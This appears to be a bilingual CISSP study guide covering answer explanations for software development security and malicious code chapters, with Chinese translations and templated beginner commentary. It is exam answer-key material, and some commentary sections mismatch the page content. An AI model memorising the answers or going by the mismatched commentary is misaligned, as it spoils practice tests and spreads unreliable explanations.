Screening is a generic term and does not represent any specific security technique in this context. 3. C. Request control provides users with a framework to request changes and developers with the opportunity to prioritize those requests. Configuration control ensures that changes to software versions are made in accordance with the change and configuration management policies. Request control provides an organized framework for users to request modifications. Change auditing is used to ensure that the production environment is consistent with the change accounting records. 4. C. In a fail-secure state, the system remains in a high level of security until an administrator intervenes.

In a fail-open state, the system defaults to a low level of security, disabling controls until the failure is resolved. Failure mitigation seeks to reduce the impact of a failure. Failclear is not a valid approach. 5. B. The iterative waterfall model uses a seven-stage approach to software development and includes a feedback loop that allows development to return to the previous phase to correct defects discovered during the subsequent phase. 6. B. The activities of threat assessment, threat modeling, and security requirements are all part of the Design function under SAMM. 7. C.

Foreign keys are used to enforce referential integrity constraints between tables that participate in a relationship. Candidate keys are sets of fields that may potentially serve as the primary key, the key used to

中文直译 / 整理

第20章:软件开发安全 1. A. DevOps 模型的三个要素是软件开发、质量保证和 IT 运营。 信息安 全仅在 DevSecOps 模型中引入。 2. B. 输入验证确保用户提供的输入符合设计参数。 多实例化通过在数据库中 为具有不同安全级别的用户添加额外记录,以防御推断攻击。 污染是指将较 高密级和/或知悉需求的数据与较低密级和/或知悉需求的数据混合。 筛选是 一个通用术语,在此上下文中不代表任何特定的安全技术。 3. C. 请求控制为用户提供请求变更的框架,并为开发人员提供优先处理这 些请求的机会。 配置控制确保软件版本的更改符合变更和配置管理策略。 请求控制为用户请求修改提供了有组织的框架。 变更审计用于确保生产环 境与变更会计记录保持一致。 4. C. 在故障安全状态下,系统将保持在高水平的安全状态,直到管理员介 入。 在故障开放状态下,系统默认降级为低安全级别,禁用控制措施,直到 故障被解决。 故障缓解旨在降低故障的影响。 故障清除不是一种有效的方法。 5. B. 迭代瀑布模型采用七阶段方法进行软件开发,并包含一个反馈循环, 允许开发返回到前一阶段以修正在后续阶段发现的缺陷。

6. B. 威胁评估、威胁建模和安全需求的活动都是SAMM中设计功能的一部 分。 7. C. 外键用于在具有关系的表之间强制引用完整性约束。 候选键是一组可 能作为主键的字段,即用于

小白解释

场景先行:想象公司有一个客户订单系统:客户资料被别人看到是机密性问题,订单金额被偷偷改是完整性问题,系统打不开是可用性问题。教材这一页就是教你把事故先翻译成安全目标。

这一页真正想让你理解的是:完整性不只是防黑客篡改,也包括防授权用户误操作。

把它放进公司里看,关键不是背定义,而是判断:把泄露、篡改、宕机混在一起,就会选错控制措施。

你作为负责人可以这样想:先判断事故破坏了 CIA 哪一项,再选择对应控制:防泄露、防篡改、保可用。

本页术语用人话说:

完整性:完整性保证数据没有被未授权修改,并且仍然正确可信。

审计:审计记录主体行为,用于追责、复盘和取证。

NIST:NIST 提供美国常用安全标准、框架和指南。

威胁建模:威胁建模是在设计和生命周期中提前识别威胁。

常见误区:不要把所有安全问题都归成“被黑了”。考试会逼你分清到底是泄露、篡改还是中断。

读完后用一句话复述:如果我是业务系统负责人,我会先识别风险,再选择控制,并保留能证明判断合理的证据。

考点提醒

考题会把“完整性:数据要正确、可信、未被乱改”包装成一个业务场景:有人要上线系统、处理事故、审供应商、分配权限或选择控制。

先抓题干里的角色和目标:这里更像是业务系统负责人在做判断。

最佳答案通常不是“最强工具”,而是能降低风险、符合职责、成本合理、还能留下证据的动作。

哈希、数字签名、变更控制、输入校验常对应完整性。

没有日志和身份绑定,就很难问责。

看到 SP 800 系列、CSF、RMF 常联想到 NIST。

越早做威胁建模,修复成本越低。

审计题关注独立性、证据、范围和报告。

排除法提醒:不要把所有安全问题都归成“被黑了”。考试会逼你分清到底是泄露、篡改还是中断。

本页术语拆解
完整性 完整性保证数据没有被未授权修改,并且仍然正确可信。
审计 审计记录主体行为,用于追责、复盘和取证。
NIST NIST 提供美国常用安全标准、框架和指南。
威胁建模 威胁建模是在设计和生命周期中提前识别威胁。
审计 审计检查控制是否存在、是否有效、是否符合要求。
开发安全运营一体化 DevSecOps 把安全自动化嵌入开发和交付流程。
学习单元 149 / PDF P1543

安全控制框架:用成熟框架组织安全

框架帮助组织系统化管理控制,而不是想到哪做到哪。

教材原文段落

uniquely identify database records. Alternate keys are candidate keys that are not selected as the primary key. 8. D. In this case, the process the database user is taking advantage of is aggregation. Aggregation attacks involve the use of specialized database functions to combine information from a large number of database records to reveal information that may be more sensitive than the information in individual records would reveal. Inference attacks use deductive reasoning to reach conclusions from existing data.

Contamination is the mixing of data from a higher classification level and/or need-to-know requirement with data from a lower classification level and/or need-to-know requirement. Polyinstantiation is the creation of different database records for users of differing security levels. 9. C. Polyinstantiation allows the insertion of multiple records that appear to have the same primary key values into a database at different classification levels. Aggregation attacks involve the use of specialized database functions to combine information from a large number of database records to reveal information that may be more sensitive than the information in individual records would reveal.

Inference attacks use deductive reasoning to reach conclusions from existing data. Manipulation is the authorized or unauthorized alteration of data in a database. 10. D. In Agile, the highest priority is to satisfy the customer through early and continuous delivery of valuable software. It is not to prioritize security over other requirements. The Agile principles also include satisfying the customer through early and continuous delivery, businesspeople and developers working together, and paying continuous attention to technical excellence. 11. C.

Expert systems use a knowledge base consisting of a series of “if/then” statements to form decisions based on the previous experience of human experts. 12. D. In the Managed phase, level 4 of the SW-CMM, the organization uses quantitative measures to gain a detailed understanding of the development process. 13. B. ODBC acts as a proxy between applications and the backend DBMS. The software development life cycle (SDLC) is a model for the software development process that incorporates all necessary activities. The Payment Card Industry Data Security Standard (PCI DSS) is a regulatory

中文直译 / 整理

唯一标识数据库记录。 备用键是未被选为主键的候选键。 8. D. 在这种情况下,数据库用户利用的流程是聚合。 聚合攻击涉及使用专门 的数据库函数,将大量数据库记录中的信息组合起来,以揭示比单条记录所 显示的信息更为敏感的信息。 推断攻击利用演绎推理,从现有数据中得出结 论。 污染是指将较高密级和/或知悉需求的数据与较低密级和/或知悉需求的 数据混合。 多实例化是指为不同安全级别的用户创建不同的数据库记录。 9. C. 多实例化允许在不同密级下向数据库中插入多个看似具有相同主键值的 记录。 聚合攻击涉及使用专门的数据库函数,将大量数据库记录中的信息组 合起来,以揭示比单条记录所显示的信息更为敏感的信息。 推断攻击利用演 绎推理,从现有数据中得出结论。 篡改是指对数据库中的数据进行授权或未 经授权的修改。 10. D. 在敏捷开发中,最高优先级是通过早期和持续地交付有价值的软件来 满足客户,而不是将安全置于其他需求之上。 敏捷原则还包括通过早期和持 续交付来满足客户、业务人员与开发人员紧密合作,以及持续关注技术卓越。 11. C. 专家系统使用由一系列“如果/那么”语句组成的知识库,基于人类专 家的先前经验做出决策。

12. D. 在已管理阶段(SW‑CMM第4级),组织使用定量度量来对开发过程 获得详细的了解。 13. B. ODBC 充当应用程序与后端 DBMS 之间的代理。 软件开发生命周期 (SDLC)是一种软件开发过程模型,涵盖了所有必要的活动。 支付卡行业数 据安全标准(PCI DSS)是一项监管

小白解释

场景先行:新员工入职后要登录系统。第一步是声明身份,第二步证明身份,第三步决定能访问哪些数据,最后系统要记录他做了什么。IAM 题就是围绕这条链条出题。

这一页真正想让你理解的是:框架帮助组织系统化管理控制,而不是想到哪做到哪。

把它放进公司里看,关键不是背定义,而是判断:认证成功不代表什么都能做;离职、调岗、权限漂移都会造成越权。

你作为负责人可以这样想:把识别、认证、授权、审计分开看,再用最小权限和定期复核收口。

本页术语用人话说:

授权:授权是认证之后决定你能访问什么、能做什么。

PCI DSS:PCI DSS 是支付卡行业数据安全标准。

标准:标准给出必须满足的最低要求。

程序:程序是一步一步怎么做。

常见误区:不要把 authentication 和 authorization 混成一件事:前者证明你是谁,后者决定你能干什么。

读完后用一句话复述:如果我是IAM 管理员,我会先识别风险,再选择控制,并保留能证明判断合理的证据。

考点提醒

考题会把“安全控制框架:用成熟框架组织安全”包装成一个业务场景:有人要上线系统、处理事故、审供应商、分配权限或选择控制。

先抓题干里的角色和目标:这里更像是IAM 管理员在做判断。

最佳答案通常不是“最强工具”,而是能降低风险、符合职责、成本合理、还能留下证据的动作。

认证成功不等于什么都能做;权限仍要单独授权。

信用卡/持卡人数据场景优先想到 PCI DSS。

Minimum level、mandatory requirement 常对应 standard。

Step-by-step、SOP 常对应 procedure。

RPO 问数据:最多丢到哪个时间点。

排除法提醒:不要把 authentication 和 authorization 混成一件事:前者证明你是谁,后者决定你能干什么。

本页术语拆解
授权 授权是认证之后决定你能访问什么、能做什么。
PCI DSS PCI DSS 是支付卡行业数据安全标准。
标准 标准给出必须满足的最低要求。
程序 程序是一步一步怎么做。
恢复点目标 RPO RPO 是最多能接受丢失多少时间范围的数据。
软件开发生命周期 SDLC 把需求、设计、开发、测试、部署和维护串起来。
学习单元 150 / PDF P1544

保护机制:分层、隐藏、加密和边界

单一控制不够,安全靠多个机制配合。

教材原文段落

framework for payment card processing. Abstraction is a software development concept that generalizes common behaviors of software objects into more abstract classes. 14. A. In order to conduct a static test, the tester must have access to the underlying source code. Black-box testing does not require access to source code. Dynamic testing is an example of black-box testing. Crosssite scripting is a specific type of vulnerability, and it may be discovered using both static and dynamic techniques, with or without access to the source code. 15. A. A Gantt chart is a type of bar chart that shows the interrelationships over time between projects and schedules.

It provides a graphical illustration of a schedule that helps to plan, coordinate, and track specific tasks in a project. A PERT chart focuses on the interrelationships between tasks rather than the specific details of the schedule. Bar charts are used to present data, and Venn diagrams are used to show the relationships between sets. 16. C. Contamination is the mixing of data from a higher classification level and/or need-to-know requirement with data from a lower classification level and/or need-to-know requirement.

Aggregation attacks involve the use of specialized database functions to combine information from a large number of database records to reveal information that may be more sensitive than the information in individual records would reveal. Inference attacks use deductive reasoning to reach conclusions from existing data. Polyinstantiation includes additional records in a database for presentation to users with differing security levels as a defense against inference attacks. 17. D. Tonya is purchasing the software, so it is not open-source. It is used widely in her industry, so it is not custom developed for her organization.

There is no indication in the question that the software is an enterprise resource planning (ERP) system. The best answer here is commercialoff-the-shelf software (COTS). 18. C. Configuration audit is part of the configuration management process rather than the change management process. Request control, release control, and change control are all components of the change management process. 19. C. The isolation principle states that two transactions operating on the same data must be temporarily separated from each other such that one

中文直译 / 整理

支付卡处理框架。 抽象是软件开发中的一个概念,它将软件对象的共 同行为概括为更抽象的类。 14. A. 为了进行静态测试,测试人员必须能够访问底层源代码。 黑盒测试不 需要访问源代码。 动态测试是黑盒测试的一种示例。 跨站脚本是一种特定类 型的漏洞,可以通过静态和动态技术发现,无论是否具有源代码访问权限。 15. A. 甘特图是一种条形图,用于显示项目与计划之间随时间变化的相互关系。 它以图形方式展示计划,有助于规划、协调和跟踪项目中的具体任务。 PERT 图侧重于任务之间的相互关系,而非计划的具体细节。 条形图用于呈现 数据,而文氏图用于展示集合之间的关系。 16. C. 污染是指将较高密级和/或知悉需求的数据与较低密级和/或知悉需求的 数据混合。 聚合攻击涉及使用专用数据库函数,将大量数据库记录中的信息组 合起来,以揭示比单个记录所显示的信息更为敏感的信息。 推理攻击利用演绎 推理从现有数据中得出结论。 多实例化通过为具有不同安全级别的用户添加额 外记录来防御推理攻击。 17. D. Tonya 正在购买该软件,因此它不是开源的。 它在她的行业中被广泛 使用,因此并非为她的组织定制开发。

问题中没有迹象表明该软件是企业资源 规划(ERP)系统。 此处的最佳答案是商用现成软件(COTS)。 18. C. 配置审计是配置管理过程的一部分,而不是变更管理过程的一部分。 请求控制、发布控制和变更控制都是变更管理过程的组成部分。 19. C. 隔离原则指出,对相同数据进行操作的两个事务必须暂时相互分离,以便 一个

小白解释

场景先行:新员工入职后要登录系统。第一步是声明身份,第二步证明身份,第三步决定能访问哪些数据,最后系统要记录他做了什么。IAM 题就是围绕这条链条出题。

这一页真正想让你理解的是:单一控制不够,安全靠多个机制配合。

把它放进公司里看,关键不是背定义,而是判断:认证成功不代表什么都能做;离职、调岗、权限漂移都会造成越权。

你作为负责人可以这样想:把识别、认证、授权、审计分开看,再用最小权限和定期复核收口。

本页术语用人话说:

审计:审计记录主体行为,用于追责、复盘和取证。

抽象:抽象把复杂细节藏在接口后,只暴露必要功能。

ISO:ISO 是国际标准化组织,常见安全管理体系如 ISO 27001/27002。

入侵防御系统 IPS:IPS 可检测并主动阻断恶意流量。

常见误区:不要把 authentication 和 authorization 混成一件事:前者证明你是谁,后者决定你能干什么。

读完后用一句话复述:如果我是IAM 管理员,我会先识别风险,再选择控制,并保留能证明判断合理的证据。

考点提醒

考题会把“保护机制:分层、隐藏、加密和边界”包装成一个业务场景:有人要上线系统、处理事故、审供应商、分配权限或选择控制。

先抓题干里的角色和目标:这里更像是IAM 管理员在做判断。

最佳答案通常不是“最强工具”,而是能降低风险、符合职责、成本合理、还能留下证据的动作。

没有日志和身份绑定,就很难问责。

对象、角色、组、接口都可能体现 abstraction。

ISO 偏标准和管理体系。

IPS 放在线路中,误报可能影响可用性。

审计题关注独立性、证据、范围和报告。

排除法提醒:不要把 authentication 和 authorization 混成一件事:前者证明你是谁,后者决定你能干什么。

本页术语拆解
审计 审计记录主体行为,用于追责、复盘和取证。
抽象 抽象把复杂细节藏在接口后,只暴露必要功能。
ISO ISO 是国际标准化组织,常见安全管理体系如 ISO 27001/27002。
入侵防御系统 IPS IPS 可检测并主动阻断恶意流量。
审计 审计检查控制是否存在、是否有效、是否符合要求。
学习单元 151 / PDF P1545

第 1545 页学习单元

这一页属于本章连续内容,先读原文和译文,再看下方把概念拆成小白能理解的版本。

教材原文段落

does not interfere with the other. The atomicity principle says that if any part of the transaction fails, the entire transaction must be rolled back. The consistency principle says that the database must always be in a state that complies with the database model's rules. The durability principle says that transactions committed to the database must be preserved. 20. B. The cardinality of a table refers to the number of rows in the table, while the degree of a table is the number of columns. In this case, the table has three columns (name, telephone number, and customer ID), so it has a degree of three.

中文直译 / 整理

不会干扰其他操作。 原子性原则指出,如果事务的任何一部分失败,整个 事务必须回滚。 一致性原则指出,数据库必须始终处于符合数据库模型规 则的状态。 持久性原则指出,已提交到数据库的事务必须被保留。 20. B. 表的基数是指表中的行数,而表的度是指表中的列数。 在此情况下,该 表有三列(姓名、电话号码和客户ID),因此其度为三。

小白解释

场景先行:你是公司的安全负责人,正在读第 1545 页这一组概念。老板不会问你背定义,而是问:这件事会不会影响业务、谁负责、要不要花钱、出了事能不能解释清楚。

这一页真正想让你理解的是:这一页属于本章连续内容,先读原文和译文,再看下方把概念拆成小白能理解的版本。

把它放进公司里看,关键不是背定义,而是判断:概念没放进业务场景,容易只背词,做题时不知道该选管理动作还是技术动作。

你作为负责人可以这样想:先确认业务目标和风险,再选控制措施,最后留下政策、审批、日志或证据。

如果这一页没有明显术语,就按“谁在做事、保护什么、怕什么、用什么控制、留下什么证据”来拆。

常见误区:不要一看到安全题就直接选最强工具;CISSP 更常考“在这个场景下谁该负责、下一步是什么”。

读完后用一句话复述:如果我是安全负责人,我会先识别风险,再选择控制,并保留能证明判断合理的证据。

考点提醒

考题会把“第 1545 页学习单元”包装成一个业务场景:有人要上线系统、处理事故、审供应商、分配权限或选择控制。

先抓题干里的角色和目标:这里更像是安全负责人在做判断。

最佳答案通常不是“最强工具”,而是能降低风险、符合职责、成本合理、还能留下证据的动作。

排除法提醒:不要一看到安全题就直接选最强工具;CISSP 更常考“在这个场景下谁该负责、下一步是什么”。

本页术语拆解

本页没有识别到重点术语,按原文顺序理解即可。

学习单元 152 / PDF P1546

完整性:数据要正确、可信、未被乱改

完整性不只是防黑客篡改,也包括防授权用户误操作。

教材原文段落

Chapter 21: Malicious Code and Application Attacks 1. D. User and entity behavior analytics (UEBA) tools develop profiles of individual behavior and then monitor users for deviations from those profiles that may indicate malicious activity and/or compromised accounts. This type of tool would meet Dylan's requirements. Endpoint detection and response (EDR) tools watch for unusual endpoint behavior but do not analyze user activity. Integrity monitoring is used to identify unauthorized system/file changes. Signature detection is a malware detection technique. 2. B. All of these technologies are able to play important roles in defending against malware and other endpoint threats.

User and entity behavior analysis (UEBA) looks for behavioral anomalies. Endpoint detection and response (EDR) and next generation endpoint protection (NGEP) identify and respond to malware infections. However, only managed detection and response (MDR) combines antimalware capabilities with a managed service that reduces the burden on the IT team. 3. C. If Carl has backups available, that would be his best option to recover operations. He could also pay the ransom, but this would expose his organization to legal risks and incur unnecessary costs. Rebuilding the systems from scratch would not restore his data.

Installing antivirus software would be helpful in preventing future compromises, but these packages would not likely be able to decrypt the missing data. 4. A. While an advanced persistent threat (APT) may leverage any of these attacks, they are most closely associated with zero-day exploits due to the cost and complexity of the research required to discover or purchase them. Social engineering, Trojans (and other malware), and SQL injection attacks are often attempted by many different types of attackers. 5. B. Buffer overflow vulnerabilities exist when a developer does not properly validate user input to ensure that it is of an appropriate size.

Input that is too large can “overflow” a data structure to affect other data stored in the computer's memory. Time-of-check to time-of-use (TOCTTOU) attacks exploit timing differences that lead to race conditions. Cross-site scripting (XSS) attacks force the execution of

中文直译 / 整理

第21章:恶意代码与应用程序攻击 1. D. 用户和实体行为分析(UEBA)工具会建立个人行为的画像,然后监控 用户行为是否偏离这些画像,以识别潜在的恶意活动和/或被攻破的账户。 此 类工具符合戴伦的要求。 终端检测与响应(EDR)工具监控终端的异常行为, 但不分析用户活动。 完整性监控用于识别未经授权的系统/文件更改。 签名检 测是一种恶意软件检测技术。 2. B. 所有这些技术都能在防御恶意软件和其他终端威胁中发挥重要作用。 用 户和实体行为分析(UEBA)寻找行为异常。 终端检测与响应(EDR)和下 一代终端防护(NGEP)识别并应对恶意软件感染。 然而,只有托管检测与 响应(MDR)将反恶意软件功能与托管服务相结合,从而减轻IT团队的负 担。 3. C. 如果卡尔有可用的备份,这将是他恢复运营的最佳选择。 他也可以支 付赎金,但这会使他的组织面临法律风险并产生不必要的成本。 从头重建系 统无法恢复他的数据。 安装防病毒软件有助于防止未来的入侵,但这些软件 包通常无法解密丢失的数据。

4. A. 尽管高级持续性威胁(APT)可能利用这些攻击中的任何一种,但由于 发现或购买零日漏洞所需的研究成本和复杂性,它们最常与零日漏洞相关联。 社会工程、木马(及其他恶意软件)和SQL注入攻击通常由多种不同类型的 攻击者尝试。 5. B. 当开发人员未正确验证用户输入以确保其大小合适时,就会出现缓冲区 溢出漏洞。 过大的输入可能会“溢出”数据结构,影响计算机内存中存储的 其他数据。 时间检查到时间使用(TOCTTOU)攻击利用时间差异导致的竞 争条件。 跨站脚本(XSS)攻击强制执行

小白解释

场景先行:想象公司有一个客户订单系统:客户资料被别人看到是机密性问题,订单金额被偷偷改是完整性问题,系统打不开是可用性问题。教材这一页就是教你把事故先翻译成安全目标。

这一页真正想让你理解的是:完整性不只是防黑客篡改,也包括防授权用户误操作。

把它放进公司里看,关键不是背定义,而是判断:把泄露、篡改、宕机混在一起,就会选错控制措施。

你作为负责人可以这样想:先判断事故破坏了 CIA 哪一项,再选择对应控制:防泄露、防篡改、保可用。

本页术语用人话说:

完整性:完整性保证数据没有被未授权修改,并且仍然正确可信。

授权:授权是认证之后决定你能访问什么、能做什么。

程序:程序是一步一步怎么做。

日志:日志记录系统和用户活动,用于监控、审计和调查。

常见误区:不要把所有安全问题都归成“被黑了”。考试会逼你分清到底是泄露、篡改还是中断。

读完后用一句话复述:如果我是业务系统负责人,我会先识别风险,再选择控制,并保留能证明判断合理的证据。

考点提醒

考题会把“完整性:数据要正确、可信、未被乱改”包装成一个业务场景:有人要上线系统、处理事故、审供应商、分配权限或选择控制。

先抓题干里的角色和目标:这里更像是业务系统负责人在做判断。

最佳答案通常不是“最强工具”,而是能降低风险、符合职责、成本合理、还能留下证据的动作。

哈希、数字签名、变更控制、输入校验常对应完整性。

认证成功不等于什么都能做;权限仍要单独授权。

Step-by-step、SOP 常对应 procedure。

日志要保护完整性、时间同步和访问控制。

SQL 注入、命令注入常靠输入验证、参数化查询防御。

排除法提醒:不要把所有安全问题都归成“被黑了”。考试会逼你分清到底是泄露、篡改还是中断。

本页术语拆解
完整性 完整性保证数据没有被未授权修改,并且仍然正确可信。
授权 授权是认证之后决定你能访问什么、能做什么。
程序 程序是一步一步怎么做。
日志 日志记录系统和用户活动,用于监控、审计和调查。
注入攻击 注入攻击把恶意输入当命令或查询执行。
跨站脚本 XSS XSS 把脚本注入到网页,让浏览器执行。
恶意代码 恶意代码包括病毒、蠕虫、木马、勒索软件等。
学习单元 153 / PDF P1547

认证:证明身份

认证回答“你是不是你声称的那个人”。

教材原文段落

malicious scripts in the user's browser. Cross-site request forgery (XSRF) attacks exploit authentication trust between browser tabs. 6. B. TOC/TOU is a type of timing vulnerability that occurs when a program checks access permissions too far in advance of a resource request. Backdoors are code that allow those with knowledge of the back door to bypass authentication mechanisms. Buffer overflow vulnerabilities exist when a developer does not properly validate user input to ensure that it is of an appropriate size. Input that is too large can “overflow” a data structure to affect other data stored in the computer's memory.

SQL injection attacks include SQL code in user input in the hopes that it will be passed to and executed by the backend database. 7. D. The try…catch clause is used to attempt to evaluate code contained in the try clause and then handle errors with the code located in the catch clause. The other constructs listed here (if…then, case…when, and do… while) are all used for control flow. 8. C. In this case, the .. operators are the telltale giveaway that the attacker was attempting to conduct a directory traversal attack. This particular attack sought to break out of the web server's root directory and access the /etc/passwd file on the server.

SQL injection attacks would contain SQL code in them. File upload attacks seek to upload a file to the server. Session hijacking attacks require the theft of authentication tokens or other credentials. 9. A. Logic bombs wait until certain conditions are met before delivering their malicious payloads. Worms are malicious code objects that move between systems under their own power, while viruses require some type of human intervention. Trojan horses masquerade as useful software but then carry out malicious functions after installation. 10. D. The single quote character (') is used in SQL queries and must be handled carefully on web forms to protect against SQL injection attacks. 11. B.

Developers of web applications should leverage parametrized queries or stored procedures to limit the application's ability to execute arbitrary code. With stored procedures, the SQL statement resides on the database server and may only be modified by database developers or administrators. With parameterized queries, the SQL statement is defined within the application and variables are bound to that statement in a safe manner.

中文直译 / 整理

用户浏览器中的恶意脚本。 跨站请求伪造(XSRF)攻击利用浏览器标签页之 间的身份验证信任。 6. B. TOC/TOU 是一种时序漏洞,当程序在资源请求之前过早检查访问权限 时会发生此类漏洞。 后门是允许知晓后门的人绕过身份验证机制的代码。 当 开发人员未正确验证用户输入以确保其大小合适时,就会存在缓冲区溢出漏 洞。 过大的输入可能会“溢出”数据结构,影响计算机内存中存储的其他数 据。 SQL 注入攻击在用户输入中包含 SQL 代码,希望其被传递到后端数据 库并执行。 7. D. try...catch 子句用于尝试评估 try 子句中包含的代码,然后使用 catch 子句中的代码处理错误。 此处列出的其他构造(if...then、case...when 和 do...while)均用于控制流程。 8. C. 在这种情况下,.. 操作符是攻击者试图进行目录遍历攻击的明显迹象。 这种特定的攻击旨在跳出 Web 服务器的根目录,访问服务器上的 / etc/passwd 文件。 SQL 注入攻击会包含 SQL 代码。 文件上传攻击旨在将文 件上传到服务器。 会话劫持攻击需要窃取身份验证令牌或其他凭证。

9. A. 逻辑炸弹会在满足特定条件后才释放其恶意有效载荷。 蠕虫是能够在系 统间自主传播的恶意代码对象,而病毒则需要某种形式的人为干预。 特洛伊 木马伪装成有用软件,但在安装后会执行恶意功能。 10. D. 单引号字符 (') 用于 SQL 查询,在网页表单中必须谨慎处理,以防范 SQL 注入攻击。 11. B. 网络应用程序的开发人员应使用参数化查询或存储过程,以限制应用程 序执行任意代码的能力。 使用存储过程时,SQL 语句驻留在数据库服务器上, 只能由数据库开发人员或管理员修改。 使用参数化查询时,SQL 语句在应用 程序内部定义,变量以安全的方式绑定到该语句。

小白解释

场景先行:新员工入职后要登录系统。第一步是声明身份,第二步证明身份,第三步决定能访问哪些数据,最后系统要记录他做了什么。IAM 题就是围绕这条链条出题。

这一页真正想让你理解的是:认证回答“你是不是你声称的那个人”。

把它放进公司里看,关键不是背定义,而是判断:认证成功不代表什么都能做;离职、调岗、权限漂移都会造成越权。

你作为负责人可以这样想:把识别、认证、授权、审计分开看,再用最小权限和定期复核收口。

本页术语用人话说:

认证:认证是验证“你是不是你声称的那个人”。

NIST:NIST 提供美国常用安全标准、框架和指南。

程序:程序是一步一步怎么做。

身份:身份是主体在系统中的标识。

常见误区:不要把 authentication 和 authorization 混成一件事:前者证明你是谁,后者决定你能干什么。

读完后用一句话复述:如果我是IAM 管理员,我会先识别风险,再选择控制,并保留能证明判断合理的证据。

考点提醒

考题会把“认证:证明身份”包装成一个业务场景:有人要上线系统、处理事故、审供应商、分配权限或选择控制。

先抓题干里的角色和目标:这里更像是IAM 管理员在做判断。

最佳答案通常不是“最强工具”,而是能降低风险、符合职责、成本合理、还能留下证据的动作。

密码、令牌、生物特征、多因素认证都服务认证。

看到 SP 800 系列、CSF、RMF 常联想到 NIST。

Step-by-step、SOP 常对应 procedure。

身份管理题要区分识别、认证、授权、审计。

日志要保护完整性、时间同步和访问控制。

排除法提醒:不要把 authentication 和 authorization 混成一件事:前者证明你是谁,后者决定你能干什么。

本页术语拆解
认证 认证是验证“你是不是你声称的那个人”。
NIST NIST 提供美国常用安全标准、框架和指南。
程序 程序是一步一步怎么做。
身份 身份是主体在系统中的标识。
日志 日志记录系统和用户活动,用于监控、审计和调查。
注入攻击 注入攻击把恶意输入当命令或查询执行。
恶意代码 恶意代码包括病毒、蠕虫、木马、勒索软件等。
学习单元 154 / PDF P1548

安全控制框架:用成熟框架组织安全

框架帮助组织系统化管理控制,而不是想到哪做到哪。

教材原文段落

12. C. While any malware may be leveraged for financial gain, depending upon its payload, cryptomalware is specifically designed for this purpose. It steals computing power and uses it to mine cryptocurrency. Remote access Trojans (RATs) are designed to grant attackers remote administrative access to systems. Potentially unwanted programs (PUPs) are any type of software that is initially approved by the user but then performs undesirable actions. Worms are malicious code objects that move between systems under their own power. 13. A. Cross-site scripting attacks are often successful against web applications that include reflected input.

This is one of the two main categories of XSS attacks in a discussion forum posting. The script content will then be processed each time another visitor views the posting from the attacker. The injected script code can cause additional browser pop-ups leading to URLs of the attacker's choosing. 14. D. Buffer overflow attacks allow an attacker to modify the contents of a system's memory by writing beyond the space allocated for a variable. 15. A. Packets with internal source IP addresses should not be allowed to enter the network from the outside because they are likely spoofed.

Packets with internal source IP addresses should be able to exit the network from the inside, and packets with external source IP addresses should be able to enter the network from the outside, as these are both normal network activity. Packets with public IP addresses should be able to pass through the firewall in both directions, assuming that they meet other security requirements. 16. B. Cross-site scripting (XSS) attacks insert content on a website that causes viewers of that content to execute a script. Although this website is backed by a database, the threat that Bob is worried about does not affect the backend database and, therefore, is not a SQL injection attack.

Buffer overflow attacks attempt to manipulate the contents of memory, and evil twin attacks are against wireless networks, not websites. 17. B, C, D. Input validation protects against a wide variety of web-based attacks, including SQL injection. Input validation typically includes checking for appropriate length, checking for known examples of malware or abusive input, and escaping metacharacters. Developers may also defend against SQL injection attacks by using stored procedures and parameterized queries. User acceptance testing verifies the proper functioning of code and is not a protection against SQL injection attacks. 12. C.

中文直译 / 整理

尽管任何恶意软件都可能被用于牟利,具体取决于其有效载荷,但加密 恶意软件专为此目的设计。 它窃取计算能力并用于挖矿加密货币。 远程访问木 马(RATs)旨在为攻击者提供对系统的远程管理访问权限。 潜在不需要的程 序(PUPs)是指最初由用户批准但随后执行不良行为的任何类型的软件。 蠕 虫是能够在系统间自主传播的恶意代码对象。 13. A. 跨站脚本攻击通常针对包含反射输入的Web应用程序成功。 这是讨 论区帖子中XSS攻击的两大主要类别之一。 每次其他访客查看该帖子时,注 入的脚本内容都会被处理。 注入的脚本代码可能导致额外的浏览器弹出窗口, 指向攻击者选择的URL。 14. D. 缓冲区溢出攻击允许攻击者通过写入超出变量分配空间的范围来修改系统 内存的内容。 15. A. 来自外部的、源IP地址为内部地址的数据包不应被允许进入网络,因 为它们可能是伪造的。 内部源IP地址的数据包应能从内部离开网络,外部源 IP地址的数据包应能从外部进入网络,因为这两种情况都属于正常的网络活 动。 只要满足其他安全要求,具有公共IP地址的数据包应能双向通过防火墙。

16. B. 跨站脚本(XSS)攻击会在网站上插入内容,导致访问该内容的用户 执行脚本。 尽管该网站由数据库支持,但Bob所担心的威胁并不会影响后端 数据库,因此不属于SQL注入攻击。 缓冲区溢出攻击试图操纵内存内容,而 恶意双胞胎攻击针对的是无线网络,而非网站。 17. B、C、D。 输入验证可防范多种基于Web的攻击,包括SQL注入。 输入 验证通常包括检查输入长度是否合适、检查已知的恶意软件或滥用输入,以 及转义元字符。 开发人员还可通过使用存储过程和参数化查询来防御SQL注 入攻击。 用户验收测试用于验证代码的正常功能,并非针对SQL注入攻击的 防护措施。

小白解释

场景先行:员工在家访问公司系统,流量要穿过家庭网络、互联网、防火墙、VPN、服务器。网络安全题就是让你判断问题发生在哪一层、用哪个控制放在什么位置。

这一页真正想让你理解的是:框架帮助组织系统化管理控制,而不是想到哪做到哪。

把它放进公司里看,关键不是背定义,而是判断:不分层就会乱选设备:该加密的地方装防火墙,该监测的地方却只做访问控制。

你作为负责人可以这样想:先定位网络层次,再决定是分段、过滤、加密、检测还是阻断。

本页术语用人话说:

加密:加密把内容变成未授权者看不懂的形式。

NIST:NIST 提供美国常用安全标准、框架和指南。

程序:程序是一步一步怎么做。

OSI 模型:OSI 用七层结构理解网络通信,从物理层到应用层。

常见误区:不要以为防火墙能解决所有网络问题;它只是控制流量的一类工具。

读完后用一句话复述:如果我是网络安全工程师,我会先识别风险,再选择控制,并保留能证明判断合理的证据。

考点提醒

考题会把“安全控制框架:用成熟框架组织安全”包装成一个业务场景:有人要上线系统、处理事故、审供应商、分配权限或选择控制。

先抓题干里的角色和目标:这里更像是网络安全工程师在做判断。

最佳答案通常不是“最强工具”,而是能降低风险、符合职责、成本合理、还能留下证据的动作。

加密主要保护机密性,也可配合签名、哈希支持完整性和真实性。

看到 SP 800 系列、CSF、RMF 常联想到 NIST。

Step-by-step、SOP 常对应 procedure。

网络题先定位层次,再判断协议、设备或攻击位置。

防火墙不是万能;它常与 IDS/IPS、分段、日志一起使用。

排除法提醒:不要以为防火墙能解决所有网络问题;它只是控制流量的一类工具。

本页术语拆解
加密 加密把内容变成未授权者看不懂的形式。
NIST NIST 提供美国常用安全标准、框架和指南。
程序 程序是一步一步怎么做。
